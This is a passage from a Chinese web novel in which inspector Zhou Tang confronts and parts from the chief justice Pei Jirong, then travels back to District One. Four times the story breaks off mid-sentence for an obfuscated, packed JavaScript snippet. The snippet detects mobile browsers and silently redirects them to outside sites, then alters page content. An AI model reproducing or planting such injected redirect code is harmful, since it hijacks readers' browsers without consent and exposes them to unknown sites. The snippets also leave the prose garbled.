本来以为只要控制住情绪,就不会有什么影响,但现在看来,真的留在最高法院周边,不得不常有工作上的来往,说不定会变成一件坏事。不论对谁来说。 冷静,冷静。 理智的想一想,最好的选择究竟是什么。 周棠盯着地图看了很久,其间甚至用手指量了量各个区域间的,做了一番毫无意义的比较,纠结了差不多半个小时,还是没能做出决定。 从职业发展的角度考虑,待在哪个区域都差不多。 又过去十分钟,周棠终于下定决心,用食指在地图的某一部分上点了两下。 就这里了。 她打开终端,开始给监察部部长写邮件。 …… 那天之后,一切照常。 周棠没有再提起答复的事情,不论真实情况和想象是否相同,她已经做出了决定,没有一定要追问清楚的必要了。 完成手头的工作之后,她过分悠闲,又去找事务官要了几个小任务,每天早出晚归,几乎不在住处长留。 转眼间,一个月已经过去了四分之三。 这天晚上,裴寂容等到接近十一点,仍然没见到周棠出现在那条通往住处的小路上,眺望到周边房屋的灯光一盏盏熄灭时,他才拉上了隔光窗帘,回到室内。 从刚见面时就开始在脑海中徘徊的不安感越来越剧烈。 周棠的态度不对。 虽然在第一次见面的时候,裴寂容就有这种感觉,但很快就在之后几日的相处中变淡了。 他想那大概只是时隔太久,周棠一时不太习惯近距离相处而已。 那么现在又是为什么? 明明什么都没有发生,他却觉得周棠似乎变得越来越远,情绪越来越淡,最初见面时的活泼快要消失殆尽,从外人那里听来的“冷漠无情”的形容,渐渐清晰地出现在眼前。 在他不知道、不清楚周棠想法的时候,两人之间能够那么亲密,现在他知道了,也尝试着慢慢靠近,她却反而冷淡下来。 为什么? 裴寂容想着这个无解的问题,感到难以接受的痛苦刺入脑海,他不得不扶住一旁的靠椅,才得以从剧烈的心跳和头疼中站稳。 就在这时,门却突然被推开了。 周棠踏进室内,一边换鞋一边看着终端,靠在玄关上发了一条消息之后,才抬起头来,一看见他,眼睛里就浮现出细微的惊讶。 “您怎么还没睡?”她看了看电子钟,“快要十二点了。” 裴寂容抓着椅背,勉强稳住声音:“有事情要处理。” 不论心里的情绪如何翻涌,他都尽量不在周棠面前表露太多,失态……实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557851|155564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在是…… 周棠走进来,将顶灯拧亮,说道:“忙完就早点睡吧,明天还有事吧。” 裴寂容因乍现的灯光闭了闭眼睛,微微低下头。 周棠注意到他的表情,又调暗了灯光。 “抱歉,我没注意。”她解释着,“我一直在想白天的事,今天莱顿局长终于回来了?” 裴寂容感到心脏乍然一跳,不动声色地反问:“治安局局长?” “对,我还以为走之前都见不到他了。”周棠回想着那些稀奇古怪的请假理由,已经没有心情再吐槽,只忍不住阴阳了一句,“希望照这种忙法,四十七区的治安能有点长进。” 裴寂容问:“你们聊了些什么?” “没什么,打了个招呼。” 周棠说:“本来想和他谈的事情已经处理好了,所以只是寒暄而已。” 她走到餐桌旁,将身上的东西整理了一下,从包里拿出一盒色彩斑斓的糕点,说道:“今天从城区经过的时候,看到有人在卖这个,是用本地特产的水果做的,很甜,我想您应该喜欢。” “要不要尝尝?” 裴寂容的情绪已经压至平静,但远不到有心情吃糕点的程度,为了不拂她的好意,象征性的吃了一块,就放下了餐叉。 周棠问:“不合您的胃口?” 她眨着眼,有点儿疑惑地拈起一块糕点看了看,又抬起头看过来,语气绝对称不上冷漠,是平常与人相处的状态。 但裴寂容却有些食不知味。 他摇了摇头:“没有,很好。” “那怎么不吃了?”周棠抬眸看了看,终于发现裴寂容似乎心情不太好,将手里的小叉子放了下来,问道:“您有心事?是能说给我听的吗?” 裴寂容直直的注视着她,逆光的漆黑眼睛没有倒映出人影。 “回轴心区的时间或许要提前。”他慢慢地说,“两天之后。” “两天?” 周棠坐直了点,想了一会儿,确定手头的工作能在那之前了结后,点点头说道:“好,我等会和部长联系。” 她只有微微的惊讶。 15. 15 周棠向来很靠得住。 谈完后的第二天,她就迅速结束了手里的所有事,能做的做完,不能做的找人交接,前后不过九个小时。 一切结束时,时间才只到傍晚,天边开始出现粉紫色的晚霞。 “等等,让我看看。”事务官来回扫视着好几份文件,忙得来不及抬头,“……全部要传到系统里噢,你找好人接手了吗?这两份是……四十六区的不用转吗?” 周棠挨个回答:“我已经上传过了,交接的申请也提交了,也在系统里,四十六区的我自己来。” 事务官将所有事项一一核对了一遍,才长出一口气:“好,这边都确认收到了。你的效率真是变得越来越可怕了,有急事?” 周棠笑了笑,语气很轻松:“忙完了好休年假啊。” 这些天来,她的情绪其实也并不好,但强行克制之下很快渐渐麻木,到后面她即使不刻意忽视,也能将与裴寂容之间的事情完全遗忘。 不过说起来,他们之间实际上也没有什么关系。 只是她自己的遗憾。 细微的,淡淡的遗憾,就像一场电影看到尾声,会有一种故事结束的怅然感一样,就只是那种程度的感受,没有到影响工作的程度。 裴寂容说要提前离开时,周棠没有询问具体原因,轴心区的局势常有动荡,猜也能猜到几种可能性。 但不论哪一种,都和她毫无关系了。 与部里联络过后,事务官很快做好了返程的安排,作为良好合作的谢幕仪式,临行前夜,监察部部长许寒山特意向裴寂容打了通讯。 他们合作的次数颇多,私下的关系其实还可以,在涉及到利益的部分告一段落后,沟通时轻松友好了很多。 “在四十七区还习惯吗?”许寒山问,“周棠做的不错吧?” 裴寂容道:“一切顺利。” 时隔一月,他的容貌已基本上恢复了原状,为防身份暴露,这几天都没有外出,周棠忙完工作后,也一直留在住处保护他。 随着外貌的改变,周棠也彻底恢复到了刚见面时的态度,客气而礼貌,原先那些稍显越线的举动,再也没有出现过了。 但这都是不必对外人讲起的私事。 许寒山又说:“三十六区最近发生暴乱,不太安全,我们联系了警务部来负责安防,给的说法是重要证人,应该不会影响你的安排?” “警务部?”裴寂容有些意外,说道,“有周棠就够了。” “周棠?” 许寒山的脸上也浮现出淡淡的惊讶来,很快,他呵呵笑了一声,无奈地低声自语:“……总是要人帮忙善后。” “周棠的事情有点麻烦,她大概是忘记说了。”许寒山说,“我先替她道个歉。” 裴寂容沉默不语。 在思索这话的含义前,他先感到监察部部长这副护短的模样格外刺眼,为此生出了没有来由的不快。 然后许寒山说:“周棠不回第一区。” …… 作为谈话的真正中心,周棠对正在发生的一切一无所知,趁着天色尚早,她正在和接手后半程任务的同僚讨论后续环节。 “如果有需要,我可以陪同到三十六区。”周棠注视着面前的全息地图,用激光笔敲下一个标记,“但能绕路的话最好。” 他们已经离开了原先的住处,正在监察部的专用驻点里。 这里位于四十六区边缘,终于不再受到电子信号管控的影像,久违地接了一个全息通讯之后,周棠甚至有种初次进入现代社会的热泪盈眶感。 同时也有些怅然若失。 面容调整手术也好,无电化办公也好,这些主动或被动发生的事情,都将这段时期与曾经在轴心区度过的许多时日分隔开,每一处不同都是一个足以刺穿迷雾的提示。 倘若这真是一场仙境中的幻梦,离开兔子洞之后,也绝没有混淆幻境与现实的危险。 周棠想,都结束了。 回到第一区的路上会经过几个军事禁区,她将提前办好的通行证转交给同事,看着电子证件上的姓名被替换时,怅然了一会儿,慢慢移开了目光。 无论如何,她已经选了最体面的解决方法。 “我看还是绕路吧。”负责接手的同僚——诺玛皱着眉说,“我不想跟警务部扯上关系。” 周棠从杂念中回神,点点头:“那我就不送你了。” 她刻意把关注点放在眼前正发生的事情上,糟糕的情绪果然销声匿迹,甚至能打起精神,和朋友开玩笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557852|155564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“不想和警务部扯上关系?现在又不是追着警督跑的时候了?” “嘘!提前任就太不讲道理了,你还不是把任务塞给我?” 诺玛不甘示弱,晃了晃禁区通行证,将刚才的玩笑话还了回去:“也不追着大法官跑了?” “……”周棠沉默半秒,抬起食指放在唇上,“我们还是来签订秘密协定吧。” 诺玛推了推她的肩膀,拷问道:“是不是年少无知?是不是黑历史?是不是不想再提了?” 周棠:“是是是。” 诺玛反制成功,得意地笑起来,还想再说什么,余光一转,忽然瞥见门边有个人影,表情顿时僵住。 “周、周……周棠!” 诺玛用气音提醒着。 周棠见她的表情突然变得很坏,略一猜测,在心里暗暗叫了声不好,也跟着转过头。 门边,裴寂容的神色比诺玛平静得多。 “周棠。” 他的语调也并无起伏。 周棠只感到前二十年的紧张都死而复生,重重压在心头。 诺玛更小声地说:“祝你好运。” 她自觉这种尴尬和她自己与几个前任间的情况差不多,但不知周棠与裴寂容的事情本就不清不楚,引起的绝不只是尴尬而已。 周棠放下手里的东西,低声对诺玛说:“细节等我回来再谈。” 她攥了攥手指,向门外走了过去。 接下来一路无话。 天色渐深,粉紫色的霞光随着日影一同消失,从窗外照进来的光线变成了蓝色,像雪地里的反光。 周棠沐浴在这样的光线中,仍然感觉心率在不断增加。 她不知道裴寂容是什么时候来的,但将刚才的对话回想了好几遍之后,意识到不论从何处听起,后果都是如出一辙的糟糕。 刚走进房间,将门关上,周棠就立刻说道:“抱歉,刚才只是开玩笑。” “你不回第一区?” 裴寂容问。 “我们是……”周棠还在思考该如何道歉,一时没有反应过来,下意识反问道,“什么?” “你不回第一区。”裴寂容几乎压不住情绪,漆黑的眼珠如同漩涡,声音却反而轻下来,“找我要什么回应?” 16. 16 上一次,裴寂容这么生气,是在什么时候? 周棠没有想出这个问题的答案。 真稀奇,她想,裴寂容有一天也会生气成这样,单是为了见到这幅情景,好像就已经不亏了。 “您真的想回应我吗?” 周棠问着。 她没有再像从前那样,在心里告诫自己要冷静,事实上,她此刻的镇定程度如果能量化成一个数字,恐怕就和裴寂容的失控值相等。 这是一句再简单不过的询问,答案清晰到只有两种可能,根据直觉就可以作答,但它却让裴寂容犹豫了一瞬。 周棠捕捉到了这个瞬间。 她轻轻叹了口气。 注意到她的姿态,裴寂容骤然抬起眼来,紧盯着她,脑海里尚未形成什么具体的念头,但看过来的动作却明显有些慌乱。 “您不用回答。”周棠不想逼问得太难看,也没有兴趣打哑谜,很快就主动将心中的猜测说了出来,“您没有拒绝我,是因为重构法案,对不对?” 裴寂容几乎感到心跳停止。 待脑中轰然响起的雷声平息之后,他才慢慢地问:“你知道了。” 一字一顿,仿佛费了很大力气才能够开口似的。 ——周棠到现在其实都只是猜测。 她不想让自己太失望,所以才将猜测当成既定事实来看待,但就算是这样,在基于这个事实做出决策的每一刻,她也不得不承认,内心里一直都有着非常细微但确实存在的期待。 如果是想错了呢? 如果这些念头,只是武断的、单方面的定论,和实际情况南辕北辙呢? 这点期待像火苗一样在她的思绪深处燃烧着,比星星还小,始终坚定不移的存在着,现在它终于被浇熄了。 周棠点点头,自言自语般说道:“果然是这样。” 她一直觉得裴寂容的态度很奇怪。 一个在任何事上都干脆利落的人,偏偏在拒绝她时那么拖泥带水,不清不楚,无论怎么问都不肯给一个明确的答案,这已经够令人怀疑了。 但她在知晓统括监察的名单泄露前,都一直没有往重构法案的方面想,不是因为缺乏警惕心,也不是被甜头哄得迷了眼,只是因为…… 周棠闭了闭眼。 裴寂容凝视着她,手指已经无意识地搭上了身侧的窗台,紧紧抓着木质窗框,用力到连骨节的形状都能看清。 像一个正在等待判决下达的犯人。 直到这时,周棠才忽然感觉有一点难过。 “别害怕,哥哥。”她低声说,“我没有生气,我不会因为这种事情生气,您应该能了解吧?为了利益接近您的人比我遇见过的还要多得多,其中不乏亲友,这很平常,您会不会为此生气?” 不会。 裴寂容不需思考就能给出答案。 这样的人太多了,即使是很亲近的朋友,找他讨要便利的情况也不罕见,走到这样的地位,社交有时和交易是同义词,这是人人默许的法则。 可是周棠不是这样。 从始至终,她从来没有找他要过什么东西,钱财、权力、一点点方便——从来都没有过,就像忘记了他的身份一样。 可是,但是…… 这一刻,裴寂容几乎感到了一点眩晕,但不得不解释:“那只是我最初的想法,我现在没有想要……利用你,所以……” 一步错步步错。 他头一次感到吐字困难。 那天,在周棠索要回应时,他第一反应是想要答应的,但是因为心境突然转变,他不想再把两人的关系和利益挂钩,所以才暂时按下来,想等到重构法案的表决结束后再说。 到那时候,不论周棠怎样选择,就算她依然反对,他也不会…… 周棠说:“这不重要。” 裴寂容怔了一下,连绵不断的思绪被强行中止,他错愕地看向她。 “您想不想利用我,这不重要,我刚才也说过了。” 讲完这句话,周棠沉默了一会儿,才接着说:“您想过要了解我吗?” 裴寂容愣住了。 这是一个完全在预料之外的问题。 “统括监察的权力很大,知道了这件事,想找我帮忙太正常了,但是,您事先了解过,甚至是调查过我的立场吗?” 周棠问了许多问题,但都没有给出回答的时间,平静地继续说着:“我从一开始就没有反对过重构法案。” 一听见这句话,裴寂容就知道一切都彻底完了。 他紧紧咬着唇,终于不再试图解释任何事,只是用近乎茫然的眼神看着周棠,脸色苍白,如同被抽去灵魂的人偶。 “这绝不是秘密。” 周棠说:“我从来没有避免提起这件事,所以监察部里有不少人都知道,包括部长,您一定也在联系其他统括监察吧,随便问谁——哪怕直接暗示部长,他都一定会说的,想要和您交好,这不是个完美的契机吗?” 她的声音一点点弱下去:“……您甚至可以直接问我。” 裴寂容不是没想过要问。 但这就像拆开一个未知的魔盒一样,其中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14557853|155564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能有幸福,但假如是致命的瘟疫、毒药、灾厄呢?要怎么倒回最初? “不,我考虑过这些,但……” “但您没有。”周棠连转圜的机会都不给,直截了当地说,“是因为不信任吗?您觉得我也是握住权力就无法放手,会为了自己的利益无视一切的人,对吗?” “不。” 这时再不回应就是默认,即使根本无法回答。 裴寂容终于找回了自己的声音:“不,我没有这样想过你,我只是习惯……我不能绝对信任任何人……你知道,最高法院,我的位置太特殊了,我不能完全相信谁。” 他从来没有这样剖析过自己,从没有把内心的想法扯出来给人看,因此难以组织语言,但又唯恐周棠没有耐心继续听,在慌乱间抓住了她的衣袖。 就连始终不知如何开口的想法,也一并说出来:“那天,我是想要答应你的,你……” 周棠却再一次否定他:“我要的不是这个。” 她能看出来,裴寂容大概是对她也有些心动,但这太正常了,任何人被一个相识多年、有感情基础、各方面条件还不错的人告白时,都会格外在意。 而且他们又被迫相处了接近一个月,在这期间产生一点好感,太正常了。 但周棠要的不是这个。 她期待是是对等的、无条件的爱,在不确定能否得到同样的回应时,也可以坚定不移的付出的爱。 这也许太天真。 但是,她就是这样爱他的。 “我没有生气,没有怪罪您,我只是渐渐发现我们的确并不合适,我不能继续在您身上追求一些绝无可能得到的东西。” 周棠缓缓的说着,声音很轻,语气几乎能用柔和来形容。 裴寂容一语不发。 他的右手仍然搭在窗框上,此时轻微的颤抖着,指节仿佛偶然歇落的蝴蝶,在突如其来的暴风雨中颤抖不休。 周棠说完这些后,沉默了许久,才尝试着挣开被紧紧握住的袖子,但刚一动,就立刻被裴寂容下意识抓得更紧了。 她没有强求,决定等他冷静下来。 但在这时,一个念头又突然冒了出来,理智将它按回原处,但情感却叫嚣着要发泄。 “提到回第一区的事。”周棠最终还是开了口,“如果我顺利当上统括监察,也需要常驻辖区,也许一年才会回去一次。您作为大法官,平常是不能轻易离开轴心区的,您说要答应我的时候,有考虑过这个问题吗?” 话音落下,紧紧攥住衣袖的手,终于无力般松开了。 17. 17 浓郁而苦涩的香气被夜风吹拂,在室内缓缓流动,如厚重层叠的影子。 酒味的信息素。 但不能使人沉醉,反而引起痛苦。 倘若周棠能察觉到这气味中包含的种种情绪,或许就不会走得那么坚决,但这是个永不会成真的假设,所以她道别的时候异常干脆,毫无不舍。 离开四十七区是在那场交谈后的第二天,仅仅过去一夜,裴寂容的憔悴就已经无法掩饰。 他独自坐在车后座,脸色苍白,神色恍惚,目光一直落在周棠身上,但始终沉默不语。 隔着车窗,周棠看不见他的面容,但沟通完各类事项、在诺玛将要启程时,她还是阻拦了一下。 “稍等。”周棠说,“等我几分钟。” 诺玛露出一个了然的神色,龇了下牙齿,表情里有一点感同身受的同情。 她小声问:“被拒了?” 周棠想了想:“差不多吧。” 虽然实际情况并不是这样,但非要如此概括也没错,细论起来,她确实说了些拒绝的话,但被拒绝的人也未必有那么真心。 诺玛同情地拍了拍她的肩膀。 周棠走到后车窗外,伸出手敲了敲玻璃。 没过几秒,车窗缓缓落了下来。 “您还好吗?” 周棠靠着车窗往里看,语气很自然。 裴寂容一言不发,身姿很端正,神态似乎很沉静,但眸中的神采却如落在玻璃上的薄薄的积雪,脆弱单薄,一触即碎。 搭在膝头的纤长指节,不自觉地拧在一起。 “你真的……”他低声问,“不回来吗?” 周棠垂眸看着那紧紧攥住的指节,忽然有点不忍,将唇边的“不”字收了回去。 “只是暂时不回去。”她安慰道,“您把这件事想得太严重了。” 裴寂容没有因为这句安慰而放松。 车里的空间狭小,像一个天生的安全屋,而且周棠的语气也十分缓和,让他觉得能够说出一点心里话。 “你的态度让我觉得,”他慢慢地说,“我把这件事看的还不够严重。” 周棠的目光仍落在那双手上没有移开,在他将要掐住自己的掌心时,她终于稍微探进车内,抓住其中一只,制止了任何自我伤害的动作。 她握着那些姿态温顺的手指,发现它们冰冷到异乎寻常,不由得叹了口气,用口袋里拿出一个冬季专用的便携热源块塞过去。 “您想得太严重了。” 周棠用很坚定的语气说:“我昨天的情绪也不太好,说的一些话可能过激了,您不用放在心上。就算是父母,有时也不会那么关注孩子的一举一动,这其实也没什么。” “我只是不爱您了,并不想反目成仇啊。” “这没什么。”她重复一遍,说道,“之后如果有长假,我还是会回第一区的。” 一句承诺。 裴寂容的脸色愈发苍白,慢慢握紧了那个小小的热源块。 …… 边缘区的生活非常平静。 接近年终,中心的几个区域都开始做年度审查,往日蠢蠢欲动的潜在罪犯都安分下来,潜逃的情况几乎消失,边缘区也随之变得安宁许多。 周棠因此而过得很平静,有时接些审查的工作,有时去协助面向边缘区的冬季医疗援助,虽然忙碌,但都是没什么危险的事。 在闲下来的时候,她也关注过第一区的消息。 裴寂容回去之后没多久,就重新回到了大法官的位置上,随之而来的是司法部与最高法院的内部大洗牌,以及终于被推向前台的重构法案。 在被动了蛋糕的三个部门里,科研学会反抗的最激烈,警务部次之,而监察部……因为年末实在太忙,虽然受到的影响最大,但暂时没人有空管这件事。 监察部大楼里每天都有人哀叹“我们真是太悲哀了。” 周棠很早就知道了重构法案的具体内容,但还是把最高法院的会议视频看了一遍。 然后,她生出了一点微弱的、非常无理取闹的失落。 之前看裴寂容的样子,还有点担心临别前的事情影响到他的状态,现在看来,这根本是一厢情愿的担心。 这短短的一个月,果然只是限期的幻梦,离开这里,就恢复清醒了吧。 那之后,周棠不再关注第一区的事情。 她将注意力全放在工作上。 要留在四十六区,本来也并不是为了跟裴寂容赌气,更多的原因,是想好好考察一下这里的“生态”。 统括监察虽然权力大,但自由度要低很多,任期内很难离开辖区,一是规定,二是繁忙。如果顺利上任,在七年一换的轮值之前,周棠都不能再长时间离开这几个区域。 七年。 在平均寿命已经超过一百五十岁的当下社会,七年不算什么;对年纪轻轻的周棠来说,这也是个消耗得起的时间。 按照监察部的规定,下一次轮值,她应当能去半中心区。 不过,那都是很遥远的事情。 眼下的麻烦是…… “您要我现在回第一区?” 周棠看着全息屏,微微皱眉。 部长许寒山说:“你忘记年终述职了吗?” 周棠:“离年末还有一个多月。” “提前准备。”许寒山的语气很和善,笑眯眯地说,“离开这么久,你不想念轴心区吗,不想念监察部吗?不想念你的同事吗?” 周棠:“……” 挂断通讯后,她仍然皱着眉。 这里是冬季援助的官方驻点之一,周围有许多来往的医生护士,其中一个关系不错的停下问:“出什么事了吗?” 周棠盯着熄灭的屏幕,摇了摇头。 想念监察部、想念同事…… ? …… 知道周棠要离开的消息时,最先找过来的,是冬季援助的负责人。 负责人是个年轻的女Alpha,名叫唐青,三十多岁,是第五区一家知名医院的院长,平易近人,总是满脸笑容。 周棠一看到她就感到不妙。 “啊呀,这些天真是辛苦您了,要不是监察部愿意帮忙,不知道情况会变成什么样啊。”唐青用力握了握周棠的手,“我代表整个援助点的医护人员向您表示感谢!” 不妙的预感节节攀升。 周棠:“……您言重了。” 她想把手收回来,但唐青仿佛没有察觉到这点小动作,握得更紧了,脸上的笑容越发扩大。 “听说您要回第一区?哎呀,那可太巧了。”唐青说,“我们也有实习生要去第一区,最近封路管控,正愁没办法呢,您真是及时雨啊!” 周棠:“……” 她不得不提醒:“这是监察部的内部任务,不太方便让外人参与。” 唐青连连说道:“没关系没关系,我已经问过许部长了,他也认为这是推动医学部和监察部合作的好机会,立刻就同意了。” 立刻就同意了…… 周棠艰难地维持住了脸上的笑容,没有做出什么不礼貌的反应。 但当天下午,她看见等在驻点外的三个实习医生时,还是差点就要掉头就走。 在接受命令之后,周棠本想走监察部的内部路线,不过官方哨卡,这样可以保证行动隐秘程度,至少在到达目的地之前,不会有人来添麻烦。 统括监察的选定意向外泄之后,来打扰她的人简直可以说是源源不断,每天都仿佛置身于夏季蚊虫的海洋。 而且……裴寂容也不会知道。 悄无声息的回去,等到年终述职结束之后就立刻离开,这样再好不过了。 她设想过很多意外,没料到自家部长居然出卖的那么干脆,连句商量都没有。 周棠将完美的原计划在心里过了好几遍,终于遗憾的叹了口气,说服自己接受现状,提前做好心理准备。 理智上来说,现在的情况也许更好。 她总不能真的永远不见他。 再说了,也不是真的就会见面,轴心区那么多人,她和最高法院又没有什么往来,虽然得回裴家见见长辈,但如果真过不去心里的坎,也可以挑裴寂容不在的时候去。 快速地自我安慰过后,周棠看向面前的三位预料之外的“旅伴”。 三人也正紧张地看着她。 监察部的存在不是秘密,但每一位监察官都神秘的很,除了需要接受审查的官方组织、各级法院的高层和被追捕的罪犯之外,平常基本没机会接触到。 更别说……让监察官来当保镖……让人有点…… 其中一个小心翼翼地打量周棠,犹豫地出声喊道:“监察官……大人。” 周棠不自在地捏了下指头。 这是什么称呼? “直接叫我周棠就好。”她看了看他们,说,“别紧张,我比你们大不了多少。” 这话引起了一阵此起彼伏的惊呼声。 周棠正忙着胡思乱想,没有回应。 她的年纪确实轻,但医学生的毕业时间也晚得太可怕了,不过说起来,如果当初她没有参加监察部的提前选拔,最后大概也会学医,和这些实习生一样没毕业。 还是学生的话,在处理和裴寂容的关系时,会天真、迟钝、乐观很多吧。 周棠想了想这种可能性,但很快就把它彻底否决掉了。 不可能。 如果她只是个在医学院念书的学生,他们的关系根本就不会走到这一步,对大法官来说,一个学生可没什么用处。 更进一步想,如果她能力平平,没机会当上统括监察的话…… 周棠不再继续想了。 这除了说明他们果真不合适之外,没有任何意义,一段需要用个人价值来维持的感情,打从一开始就不该发生。 她低头看了眼终端,新消息标识已经到了99+。 轴心区的信息传播速度总是那么快,虽说保密程度高,但只要走到内部,抵达高层,迷宫般的信息网就能一览无余了。 裴寂容多半也知道了。 希望他别在意,最好已经忘了,假如一定要旧事重提,至少也给一个缓冲的空间。 周棠在心里对自己说了一声好运。 …… 返程的旅途比十个正处于年末的边缘区加起来还喧闹。 初次见面的时候,三个实习生看起来都非常拘谨,在周棠说了几遍没事放轻松之后,还是一副小心翼翼的模样,生怕说错半个字儿,像是害怕她一生气就会拔枪把他们都处理了。 遗憾的是,这种史前怪兽才有的待遇,周棠只享受了不到一天。 同行没多久,他们就发现周棠虽然看着冷淡,但脾气还不错,无论怎么说,都不像是他们想象中的“一言不合就会拔刀杀人”的形象。 他们渐渐活泼起来。 很快,这种活泼就超过了周棠的想象限度。 “监察部是不是管的很严呀,在外面吃饭都要报备吗?” “我以前听说,监察官的身份必须严格保密,所以外出都会戴仿真面具,这是真的吗?” “监察官和警察的工作内容一样吗?” “那个,您是单身吗?” 周棠坐在驾驶座上,闭着眼漫不经心地逐个回答:“不用,不是,不一样,我……” 回答到最后一个问题时,她睁开眼睛,转头看了眼后座上提问的姑娘。 姑娘讪讪一笑。 周棠转回目光:“是。” “那……那个,呃,您的理想型是什么?”姑娘看着有点尴尬,但还是很坚持地比划了一下,“比如说,年纪大一点还是小一点,温柔型还是活泼型,喜欢A、B还是O?” 周棠低头看着终端屏幕。 她对这个话题没什么兴趣,只是礼节性地没有打断,但听到末尾时,突然有点应激似的皱了下眉,无意识地用指节敲了敲屏幕,开口说道:“Beta。” 姑娘:“啊?” 周棠:“我比较喜欢Beta。” 她只是随口一答,没想到会有什么后续,这姑娘是个Omega,所以这个回答拿来结束话题也没错。 但姑娘的眼睛一下子亮了起来。 她有点激动地说:“那太好了!” 周棠:“?” 姑娘喊完这一声,才发现车里的三个人都朝她看了过来,脸上是程度不同的惊讶。 “您别误会,我就是……替我哥问问。”她一阵尴尬,小声说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14557854|155564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他在司法部上班,比您大两岁,当年差点就被选进监察部了,我觉得你们挺般配的,就是,看起来,特别合适……第一眼就觉得。” 姑娘忐忑的说完,等了一会儿,小心翼翼地抬起头,发现周棠竟然没有表现出很明显的反感,顿时感觉得到了鼓励,紧张地舔了舔嘴唇,又接着介绍下去。 “我哥脾气也挺好的,特温柔,特好看,而且也是Beta,各方面都和您挺互补的。” “您想不想看看照片?” 旁边的一个学生拍了拍她胳膊,小声提醒:“喂!” 周棠终于放下终端,目光在这女孩的脸上转了一圈。 客观的说,确实很好看,如果是亲兄妹的话,长相上应该差不太多。 周棠想起不久之前从诺玛那里听到的安慰。 “旧的不去,新的不来,这不是你们老家的俗语吗?”诺玛揽着她的肩膀,很豪气地说,“只要你一声令下,我马上给你介绍十个——不,一百个条件顶尖的适龄男O,你只要和其中一个走入爱河,马上就能把过去的伤痛都忘了,怎么样?有没有兴趣?” 这段令人难忘的豪言壮语又在脑海里过了一遍。 但周棠想了想,对正在屏息等待回答的女孩说:“不用,我暂时没那个打算。” 女孩愣了一下,然后明显的失落下来,但也不再往下说了。 车里的喧闹停止了一小段时间。 周棠又低头将终端打开,处理着近期收到的邮件。 诺玛说的确实很有道理。 但她暂时还不能确定自己到底有没有放下裴寂容,而且,如果以忘记他为目的去见其他的人,实在是也太古怪了。 用不着折腾不相关的人。 …… 虽然沿路没有遇到障碍,也尽可能挑了近路,但从四十七区回到第一区的整个过程,还是花费了大概一周的时间。 回到部里之后,还要做些任务汇报,参与各类事项的收尾工作,全部忙下来,确实也到了年终述职的时候。 周棠已经开始怀疑,许寒山急着喊她回来,是因为部里太忙,决定压榨每一个得力下属的全部工作价值。 送佛送到西,刚到第一区,她就匆匆联系了几个学生就读的医学院,准备亲自把他们挨个送回学校,确保这项“能推动监察部和医学部达成合作的重要任务”能完满收官。 顺便也偷会儿懒。 毕竟她真的不想念监察部,也不想念任何同事。 送前两个学生的过程很顺利也很普通,送到第三个,也就是那个急着给哥哥牵线拉桥的姑娘时,发生了一点小小的意外。 但问题并不是出现在姑娘和她哥身上。 周棠把人送到实习的医院时,时间刚到下午四点,院里没多少人,她想起进入监察部大楼得交个详细点的体检报告,便趁这个机会直接去了医院的体检中心,准备顺路把事办了。 抽完血,她走出体检中心,低着头在终端的个人信息里找检查报告,不留神和迎面过来的另一个人撞上了。 第一瞬间,两人都下意识说了对不起。 周棠按着差点滑落的终端,还没有抬头,第一反应就是香。 某种浓郁的、热烈的花香,不要钱似的往鼻子里钻,仅仅两秒钟,就让她不得不掩住了鼻子,往后推开四五步。 对面的人先看清了她的脸,惊喜地叫了一声:“周棠!” 周棠骤然被香气袭击,闭着眼睛忍了好一会儿,才抬起头,紧接着就跟着惊讶:“顾云杉?” “是我啊。”顾云杉笑起来,“好久不见。” 周棠眼中的惊讶还没褪去。 顾云杉是她当年被监察部选中时的同期,虽然是个Omega,但天生腺体有缺损,和她一样察觉不到信息素。两人在校时关系不错,虽然顾云杉念到一半就退出,转到了医学专业,但直到毕业,他们还偶有联系。 除了性别和职业以外,顾云杉都和那个姑娘介绍的情况很像——特温柔,特好看,差点就进了监察部。 “你怎么……” 周棠正想要开口询问,但刚吐出两个字,就感觉花香在不断地往口腔里钻,于是又立刻闭上了嘴。 